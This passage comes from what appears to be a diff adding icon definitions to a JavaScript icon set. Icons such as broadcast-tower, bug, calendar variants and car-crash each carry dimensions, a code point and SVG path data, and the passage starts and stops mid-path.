48-48V176c0-26.5-21.5-48-48-48zM192 96h128v32H192V96zm160 248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48z" ], + "broadcast-tower": [ 640, 512, [], "f519", "M150.94 192h33.73c11.01 0 18.61-10.83 14.86-21.18-4.93-13.58-7.55-27.98-7.55-42.82s2.62-29.24 7.55-42.82C203.29 74.83 195.68 64 184.67 64h-33.73c-7.01 0-13.46 4.49-15.41 11.23C130.64 92.21 128 109.88 128 128c0 18.12 2.64 35.79 7.54 52.76 1.94 6.74 8.39 11.24 15.4 11.24zM89.92 23.34C95.56 12.72 87.97 0 75.96 0H40.63c-6.27 0-12.14 3.59-14.74 9.31C9.4 45.54 0 85.65 0 128c0 24.75 3.12 68.33 26.69 118.86 2.62 5.63 8.42 9.14 14.61 9.14h34.84c12.02 0 19.61-12.74 13.95-23.37-49.78-93.32-16.71-178.15-.17-209.29zM614.06 9.29C611.46 3.58 605.6 0 599.33 0h-35.42c-11.98 0-19.66 12.66-14.02 23.25 18.27 34.29 48.42 119.42.28 209.23-5.72 10.68 1.8 23.52 13.91 23.52h35.23c6.27 0 12.13-3.58 14.73-9.29C630.57 210.48 640 170.36 640 128s-9.42-82.48-25.94-118.71zM489.06 64h-33.73c-11.01 0-18.61 10.83-14.86 21.18 4.93 13.58 7.55 27.98 7.55 42.82s-2.62 29.24-7.55 42.82c-3.76 10.35 3.85 21.18 14.86 21.18h33.73c7.02 0 13.46-4.49 15.41-11.24 4.9-16.97 7.53-34.64 7.53-52.76 0-18.12-2.64-35.79-7.54-52.76-1.94-6.75-8.39-11.24-15.4-11.24zm-116.3 100.12c7.05-10.29 11.2-22.71 11.2-36.12 0-35.35-28.63-64-63.96-64-35.32 0-63.96 28.65-63.96 64 0 13.41 4.15 25.83 11.2 36.12l-130.5 313.41c-3.4 8.15.46 17.52 8.61 20.92l29.51 12.31c8.15 3.4 17.52-.46 20.91-8.61L244.96 384h150.07l49.2 118.15c3.4 8.16 12.76 12.01 20.91 8.61l29.51-12.31c8.15-3.4 12-12.77 8.61-20.92l-130.5-313.41zM271.62 320L320 203.81 368.38 320h-96.76z" ], + broom: [ 640, 512, [], "f51a", "M256.47 216.77l86.73 109.18s-16.6 102.36-76.57 150.12C206.66 523.85 0 510.19 0 510.19s3.8-23.14 11-55.43l94.62-112.17c3.97-4.7-.87-11.62-6.65-9.5l-60.4 22.09c14.44-41.66 32.72-80.04 54.6-97.47 59.97-47.76 163.3-40.94 163.3-40.94zM636.53 31.03l-19.86-25c-5.49-6.9-15.52-8.05-22.41-2.56l-232.48 177.8-34.14-42.97c-5.09-6.41-15.14-5.21-18.59 2.21l-25.33 54.55 86.73 109.18 58.8-12.45c8-1.69 11.42-11.2 6.34-17.6l-34.09-42.92 232.48-177.8c6.89-5.48 8.04-15.53 2.55-22.44z" ], + brush: [ 384, 512, [], "f55d", "M352 0H32C14.33 0 0 14.33 0 32v224h384V32c0-17.67-14.33-32-32-32zM0 320c0 35.35 28.66 64 64 64h64v64c0 35.35 28.66 64 64 64s64-28.65 64-64v-64h64c35.34 0 64-28.65 64-64v-32H0v32zm192 104c13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24s-24-10.75-24-24c0-13.26 10.75-24 24-24z" ], + bug: [ 512, 512, [], "f188", "M511.988 288.9c-.478 17.43-15.217 31.1-32.653 31.1H424v16c0 21.864-4.882 42.584-13.6 61.145l60.228 60.228c12.496 12.497 12.496 32.758 0 45.255-12.498 12.497-32.759 12.496-45.256 0l-54.736-54.736C345.886 467.965 314.351 480 280 480V236c0-6.627-5.373-12-12-12h-24c-6.627 0-12 5.373-12 12v244c-34.351 0-65.886-12.035-90.636-32.108l-54.736 54.736c-12.498 12.497-32.759 12.496-45.256 0-12.496-12.497-12.496-32.758 0-45.255l60.228-60.228C92.882 378.584 88 357.864 88 336v-16H32.666C15.23 320 .491 306.33.013 288.9-.484 270.816 14.028 256 32 256h56v-58.745l-46.628-46.628c-12.496-12.497-12.496-32.758 0-45.255 12.498-12.497 32.758-12.497 45.256 0L141.255 160h229.489l54.627-54.627c12.498-12.497 32.758-12.497 45.256 0 12.496 12.497 12.496 32.758 0 45.255L424 197.255V256h56c17.972 0 32.484 14.816 31.988 32.9zM257 0c-61.856 0-112 50.144-112 112h224C369 50.144 318.856 0 257 0z" ], + building: [ 448, 512, [], "f1ad", "M436 480h-20V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v456H12c-6.627 0-12 5.373-12 12v20h448v-20c0-6.627-5.373-12-12-12zM128 76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76zm0 96c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40zm52 148h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12zm76 160h-64v-84c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v84zm64-172c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12v-40c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40zm0-96c0 6.627-5.373 12-12 12h-40c-6.627 0-12-5.373-12-12V76c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v40z" ], + bullhorn: [ 576, 512, [], "f0a1", "M576 240c0-23.63-12.95-44.04-32-55.12V32.01C544 23.26 537.02 0 512 0c-7.12 0-14.19 2.38-19.98 7.02l-85.03 68.03C364.28 109.19 310.66 128 256 128H64c-35.35 0-64 28.65-64 64v96c0 35.35 28.65 64 64 64h33.7c-1.39 10.48-2.18 21.14-2.18 32 0 39.77 9.26 77.35 25.56 110.94 5.19 10.69 16.52 17.06 28.4 17.06h74.28c26.05 0 41.69-29.84 25.9-50.56-16.4-21.52-26.15-48.36-26.15-77.44 0-11.11 1.62-21.79 4.41-32H256c54.66 0 108.28 18.81 150.98 52.95l85.03 68.03a32.023 32.023 0 0 0 19.98 7.02c24.92 0 32-22.78 32-32V295.13C563.05 284.04 576 263.63 576 240zm-96 141.42l-33.05-26.44C392.95 311.78 325.12 288 256 288v-96c69.12 0 136.95-23.78 190.95-66.98L480 98.58v282.84z" ], + bullseye: [ 496, 512, [], "f140", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 432c-101.69 0-184-82.29-184-184 0-101.69 82.29-184 184-184 101.69 0 184 82.29 184 184 0 101.69-82.29 184-184 184zm0-312c-70.69 0-128 57.31-128 128s57.31 128 128 128 128-57.31 128-128-57.31-128-128-128zm0 192c-35.29 0-64-28.71-64-64s28.71-64 64-64 64 28.71 64 64-28.71 64-64 64z" ], + burn: [ 384, 512, [], "f46a", "M192 0C79.7 101.3 0 220.9 0 300.5 0 425 79 512 192 512s192-87 192-211.5c0-79.9-80.2-199.6-192-300.5zm0 448c-56.5 0-96-39-96-94.8 0-13.5 4.6-61.5 96-161.2 91.4 99.7 96 147.7 96 161.2 0 55.8-39.5 94.8-96 94.8z" ], + bus: [ 512, 512, [], "f207", "M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM112 400c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm16-112c-17.67 0-32-14.33-32-32V128c0-17.67 14.33-32 32-32h256c17.67 0 32 14.33 32 32v128c0 17.67-14.33 32-32 32H128zm272 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "bus-alt": [ 512, 512, [], "f55e", "M488 128h-8V80c0-44.8-99.2-80-224-80S32 35.2 32 80v48h-8c-13.25 0-24 10.74-24 24v80c0 13.25 10.75 24 24 24h8v160c0 17.67 14.33 32 32 32v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h192v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h6.4c16 0 25.6-12.8 25.6-25.6V256h8c13.25 0 24-10.75 24-24v-80c0-13.26-10.75-24-24-24zM160 72c0-4.42 3.58-8 8-8h176c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H168c-4.42 0-8-3.58-8-8V72zm-48 328c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128-112H128c-17.67 0-32-14.33-32-32v-96c0-17.67 14.33-32 32-32h112v160zm32 0V128h112c17.67 0 32 14.33 32 32v96c0 17.67-14.33 32-32 32H272zm128 112c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + "business-time": [ 640, 512, [], "f64a", "M496 224c-79.59 0-144 64.41-144 144s64.41 144 144 144 144-64.41 144-144-64.41-144-144-144zm64 150.29c0 5.34-4.37 9.71-9.71 9.71h-60.57c-5.34 0-9.71-4.37-9.71-9.71v-76.57c0-5.34 4.37-9.71 9.71-9.71h12.57c5.34 0 9.71 4.37 9.71 9.71V352h38.29c5.34 0 9.71 4.37 9.71 9.71v12.58zM496 192c5.4 0 10.72.33 16 .81V144c0-25.6-22.4-48-48-48h-80V48c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h395.12c28.6-20.09 63.35-32 100.88-32zM320 96H192V64h128v32zm6.82 224H208c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h291.43C327.1 423.96 320 396.82 320 368c0-16.66 2.48-32.72 6.82-48z" ], + calculator: [ 448, 512, [], "f1ec", "M400 0H48C22.4 0 0 22.4 0 48v416c0 25.6 22.4 48 48 48h352c25.6 0 48-22.4 48-48V48c0-25.6-22.4-48-48-48zM128 435.2c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm0-128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8v-38.4c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v38.4zm128 128c0 6.4-6.4 12.8-12.8 12.8h-38.4c-6.4 0-12.8-6.4-12.8-12.8V268.8c0-6.4 6.4-12.8 12.8-12.8h38.4c6.4 0 12.8 6.4 12.8 12.8v166.4zm0-256c0 6.4-6.4 12.8-12.8 12.8H76.8c-6.4 0-12.8-6.4-12.8-12.8V76.8C64 70.4 70.4 64 76.8 64h294.4c6.4 0 12.8 6.4 12.8 12.8v102.4z" ], + calendar: [ 448, 512, [], "f133", "M12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm436-44v-36c0-26.5-21.5-48-48-48h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v36c0 6.6 5.4 12 12 12h424c6.6 0 12-5.4 12-12z" ], + "calendar-alt": [ 448, 512, [], "f073", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm320-196c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM192 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40zM64 268c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zm0 128c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H76c-6.6 0-12-5.4-12-12v-40zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z" ], + "calendar-check": [ 448, 512, [], "f274", "M436 160H12c-6.627 0-12-5.373-12-12v-36c0-26.51 21.49-48 48-48h48V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h128V12c0-6.627 5.373-12 12-12h40c6.627 0 12 5.373 12 12v52h48c26.51 0 48 21.49 48 48v36c0 6.627-5.373 12-12 12zM12 192h424c6.627 0 12 5.373 12 12v260c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V204c0-6.627 5.373-12 12-12zm333.296 95.947l-28.169-28.398c-4.667-4.705-12.265-4.736-16.97-.068L194.12 364.665l-45.98-46.352c-4.667-4.705-12.266-4.736-16.971-.068l-28.397 28.17c-4.705 4.667-4.736 12.265-.068 16.97l82.601 83.269c4.667 4.705 12.265 4.736 16.97.068l142.953-141.805c4.705-4.667 4.736-12.265.068-16.97z" ], + "calendar-day": [ 448, 512, [], "f783", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h96c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-96zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z" ], + "calendar-minus": [ 448, 512, [], "f272", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm304 192c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12H132c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h184z" ], + "calendar-plus": [ 448, 512, [], "f271", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm316 140c0-6.6-5.4-12-12-12h-60v-60c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v60h-60c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h60v60c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-60h60c6.6 0 12-5.4 12-12v-40z" ], + "calendar-times": [ 448, 512, [], "f273", "M436 160H12c-6.6 0-12-5.4-12-12v-36c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48v36c0 6.6-5.4 12-12 12zM12 192h424c6.6 0 12 5.4 12 12v260c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V204c0-6.6 5.4-12 12-12zm257.3 160l48.1-48.1c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0L224 306.7l-48.1-48.1c-4.7-4.7-12.3-4.7-17 0l-28.3 28.3c-4.7 4.7-4.7 12.3 0 17l48.1 48.1-48.1 48.1c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l48.1-48.1 48.1 48.1c4.7 4.7 12.3 4.7 17 0l28.3-28.3c4.7-4.7 4.7-12.3 0-17L269.3 352z" ], + "calendar-week": [ 448, 512, [], "f784", "M0 464c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V192H0v272zm64-192c0-8.8 7.2-16 16-16h288c8.8 0 16 7.2 16 16v64c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16v-64zM400 64h-48V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H160V16c0-8.8-7.2-16-16-16h-32c-8.8 0-16 7.2-16 16v48H48C21.5 64 0 85.5 0 112v48h448v-48c0-26.5-21.5-48-48-48z" ], + camera: [ 512, 512, [], "f030", "M512 144v288c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V144c0-26.5 21.5-48 48-48h88l12.3-32.9c7-18.7 24.9-31.1 44.9-31.1h125.5c20 0 37.9 12.4 44.9 31.1L376 96h88c26.5 0 48 21.5 48 48zM376 288c0-66.2-53.8-120-120-120s-120 53.8-120 120 53.8 120 120 120 120-53.8 120-120zm-32 0c0 48.5-39.5 88-88 88s-88-39.5-88-88 39.5-88 88-88 88 39.5 88 88z" ], + "camera-retro": [ 512, 512, [], "f083", "M48 32C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48H48zm0 32h106c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H38c-3.3 0-6-2.7-6-6V80c0-8.8 7.2-16 16-16zm426 96H38c-3.3 0-6-2.7-6-6v-36c0-3.3 2.7-6 6-6h138l30.2-45.3c1.1-1.7 3-2.7 5-2.7H464c8.8 0 16 7.2 16 16v74c0 3.3-2.7 6-6 6zM256 424c-66.2 0-120-53.8-120-120s53.8-120 120-120 120 53.8 120 120-53.8 120-120 120zm0-208c-48.5 0-88 39.5-88 88s39.5 88 88 88 88-39.5 88-88-39.5-88-88-88zm-48 104c-8.8 0-16-7.2-16-16 0-35.3 28.7-64 64-64 8.8 0 16 7.2 16 16s-7.2 16-16 16c-17.6 0-32 14.4-32 32 0 8.8-7.2 16-16 16z" ], + campground: [ 640, 512, [], "f6bb", "M624 448h-24.68L359.54 117.75l53.41-73.55c5.19-7.15 3.61-17.16-3.54-22.35l-25.9-18.79c-7.15-5.19-17.15-3.61-22.35 3.55L320 63.3 278.83 6.6c-5.19-7.15-15.2-8.74-22.35-3.55l-25.88 18.8c-7.15 5.19-8.74 15.2-3.54 22.35l53.41 73.55L40.68 448H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h608c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM320 288l116.36 160H203.64L320 288z" ], + "candy-cane": [ 512, 512, [], "f786", "M497.5 92C469.6 33.1 411.8 0 352.4 0c-27.9 0-56.2 7.3-81.8 22.6L243.1 39c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5l27.5-16.4c5.1-3.1 10.8-4.5 16.4-4.5 10.9 0 21.5 5.6 27.5 15.6 9.1 15.1 4.1 34.8-11 43.9L15.6 397.6c-15.2 9.1-20.1 28.7-11 43.9l32.8 54.9c6 10 16.6 15.6 27.5 15.6 5.6 0 11.2-1.5 16.4-4.5L428.6 301c71.7-42.9 104.6-133.5 68.9-209zm-177.7 13l-2.5 1.5L296.8 45c9.7-4.7 19.8-8.1 30.3-10.2l20.6 61.8c-9.8.8-19.4 3.3-27.9 8.4zM145.9 431.8l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm107.5-63.9l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zM364.3 302l-60.5-38.5 30.8-18.3 60.5 38.5-30.8 18.3zm20.4-197.3l46-46c8.4 6.5 16 14.1 22.6 22.6L407.6 127c-5.7-9.3-13.7-16.9-22.9-22.3zm82.1 107.8l-59.5-19.8c3.2-5.3 5.8-10.9 7.4-17.1 1.1-4.5 1.7-9.1 1.8-13.6l60.4 20.1c-2.1 10.4-5.5 20.6-10.1 30.4z" ], + cannabis: [ 512, 512, [], "f55f", "M503.47 360.25c-1.56-.82-32.39-16.89-76.78-25.81 64.25-75.12 84.05-161.67 84.93-165.64 1.18-5.33-.44-10.9-4.3-14.77-3.03-3.04-7.12-4.7-11.32-4.7-1.14 0-2.29.12-3.44.38-3.88.85-86.54 19.59-160.58 79.76.01-1.46.01-2.93.01-4.4 0-118.79-59.98-213.72-62.53-217.7A15.973 15.973 0 0 0 256 0c-5.45 0-10.53 2.78-13.47 7.37-2.55 3.98-62.53 98.91-62.53 217.7 0 1.47.01 2.94.01 4.4-74.03-60.16-156.69-78.9-160.58-79.76-1.14-.25-2.29-.38-3.44-.38-4.2 0-8.29 1.66-11.32 4.7A15.986 15.986 0 0 0 .38 168.8c.88 3.97 20.68 90.52 84.93 165.64-44.39 8.92-75.21 24.99-76.78 25.81a16.003 16.003 0 0 0-.02 28.29c2.45 1.29 60.76 31.72 133.49 31.72 6.14 0 11.96-.1 17.5-.31-11.37 22.23-16.52 38.31-16.81 39.22-1.8 5.68-.29 11.89 3.91 16.11a16.019 16.019 0 0 0 16.1 3.99c1.83-.57 37.72-11.99 77.3-39.29V504c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-64.01c39.58 27.3 75.47 38.71 77.3 39.29a16.019 16.019 0 0 0 16.1-3.99c4.2-4.22 5.71-10.43 3.91-16.11-.29-.91-5.45-16.99-16.81-39.22 5.54.21 11.37.31 17.5.31 72.72 0 131.04-30.43 133.49-31.72 5.24-2.78 8.52-8.22 8.51-14.15-.01-5.94-3.29-11.39-8.53-14.15z" ], + capsules: [ 576, 512, [], "f46b", "M555.3 300.1L424.2 112.8C401.9 81 366.4 64 330.4 64c-22.6 0-45.5 6.7-65.5 20.7-19.7 13.8-33.7 32.8-41.5 53.8C220.5 79.2 172 32 112 32 50.1 32 0 82.1 0 144v224c0 61.9 50.1 112 112 112s112-50.1 112-112V218.9c3.3 8.6 7.3 17.1 12.8 25L368 431.2c22.2 31.8 57.7 48.8 93.8 48.8 22.7 0 45.5-6.7 65.5-20.7 51.7-36.2 64.2-107.5 28-159.2zM160 256H64V144c0-26.5 21.5-48 48-48s48 21.5 48 48v112zm194.8 44.9l-65.6-93.7c-7.7-11-10.7-24.4-8.3-37.6 2.3-13.2 9.7-24.8 20.7-32.5 8.5-6 18.5-9.1 28.8-9.1 16.5 0 31.9 8 41.3 21.5l65.6 93.7-82.5 57.7z" ], + car: [ 512, 512, [], "f1b9", "M499.99 176h-59.87l-16.64-41.6C406.38 91.63 365.57 64 319.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4L71.87 176H12.01C4.2 176-1.53 183.34.37 190.91l6 24C7.7 220.25 12.5 224 18.01 224h20.07C24.65 235.73 16 252.78 16 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-19.22-8.65-36.27-22.07-48H494c5.51 0 10.31-3.75 11.64-9.09l6-24c1.89-7.57-3.84-14.91-11.65-14.91zm-352.06-17.83c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L384 208H128l19.93-49.83zM96 319.8c-19.2 0-32-12.76-32-31.9S76.8 256 96 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S396.8 256 416 256s32 12.76 32 31.9-12.8 31.9-32 31.9z" ], + "car-alt": [ 480, 512, [], "f5de", "M438.66 212.33l-11.24-28.1-19.93-49.83C390.38 91.63 349.57 64 303.5 64h-127c-46.06 0-86.88 27.63-103.99 70.4l-19.93 49.83-11.24 28.1C17.22 221.5 0 244.66 0 272v48c0 16.12 6.16 30.67 16 41.93V416c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-54.07c9.84-11.25 16-25.8 16-41.93v-48c0-27.34-17.22-50.5-41.34-59.67zm-306.73-54.16c7.29-18.22 24.94-30.17 44.57-30.17h127c19.63 0 37.28 11.95 44.57 30.17L368 208H112l19.93-49.83zM80 319.8c-19.2 0-32-12.76-32-31.9S60.8 256 80 256s48 28.71 48 47.85-28.8 15.95-48 15.95zm320 0c-19.2 0-48 3.19-48-15.95S380.8 256 400 256s32 12.76 32 31.9-12.8 31.9-32 31.9z" ], + "car-battery": [ 512, 512, [], "f5df", "M480 128h-32V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v48H192V80c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v48H32c-17.67 0-32 14.33-32 32v256c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32zM192 264c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h112c4.42 0 8 3.58 8 8v16zm256 0c0 4.42-3.58 8-8 8h-40v40c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-40h-40c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h40v-40c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v40h40c4.42 0 8 3.58 8 8v16z" ], + "car-crash": [ 640, 512, [], "f5e1", "M143.25 220.81l-12.42 46.37c-3.01 11.25-3.63 22.89-2.41 34.39l-35.2 28.98c-6.57 5.41-16.31-.43-14.62-8.77l15.44-76.68c1.06-5.26-2.66-10.28-8-10.79l-77.86-7.55c-8.47-.82-11.23-11.83-4.14-16.54l65.15-43.3c4.46-2.97 5.38-9.15 1.98-13.29L21.46 93.22c-5.41-6.57.43-16.3 8.78-14.62l76.68 15.44c5.26 1.06 10.28-2.66 10.8-8l7.55-77.86c.82-8.48 11.83-11.23 16.55-4.14l43.3 65.14c2.97 4.46 9.15 5.38 13.29 1.98l60.4-49.71c6.57-5.41 16.3.43 14.62 8.77L262.1 86.38c-2.71 3.05-5.43 6.09-7.91 9.4l-32.15 42.97-10.71 14.32c-32.73 8.76-59.18 34.53-68.08 67.74zm494.57 132.51l-12.42 46.36c-3.13 11.68-9.38 21.61-17.55 29.36a66.876 66.876 0 0 1-8.76 7l-13.99 52.23c-1.14 4.27-3.1 8.1-5.65 11.38-7.67 9.84-20.74 14.68-33.54 11.25L515 502.62c-17.07-4.57-27.2-22.12-22.63-39.19l8.28-30.91-247.28-66.26-8.28 30.91c-4.57 17.07-22.12 27.2-39.19 22.63l-30.91-8.28c-12.8-3.43-21.7-14.16-23.42-26.51-.57-4.12-.35-8.42.79-12.68l13.99-52.23a66.62 66.62 0 0 1-4.09-10.45c-3.2-10.79-3.65-22.52-.52-34.2l12.42-46.37c5.31-19.8 19.36-34.83 36.89-42.21a64.336 64.336 0 0 1 18.49-4.72l18.13-24.23 32.15-42.97c3.45-4.61 7.19-8.9 11.2-12.84 8-7.89 17.03-14.44 26.74-19.51 4.86-2.54 9.89-4.71 15.05-6.49 10.33-3.58 21.19-5.63 32.24-6.04 11.05-.41 22.31.82 33.43 3.8l122.68 32.87c11.12 2.98 21.48 7.54 30.85 13.43a111.11 111.11 0 0 1 34.69 34.5c8.82 13.88 14.64 29.84 16.68 46.99l6.36 53.29 3.59 30.05a64.49 64.49 0 0 1 22.74 29.93c4.39 11.88 5.29 25.19 1.75 38.39zM255.58 234.34c-18.55-4.97-34.21 4.04-39.17 22.53-4.96 18.49 4.11 34.12 22.65 39.09 18.55 4.97 45.54 15.51 50.49-2.98 4.96-18.49-15.43-53.67-33.97-58.64zm290.61 28.17l-6.36-53.29c-.58-4.87-1.89-9.53-3.82-13.86-5.8-12.99-17.2-23.01-31.42-26.82l-122.68-32.87a48.008 48.008 0 0 0-50.86 17.61l-32.15 42.97 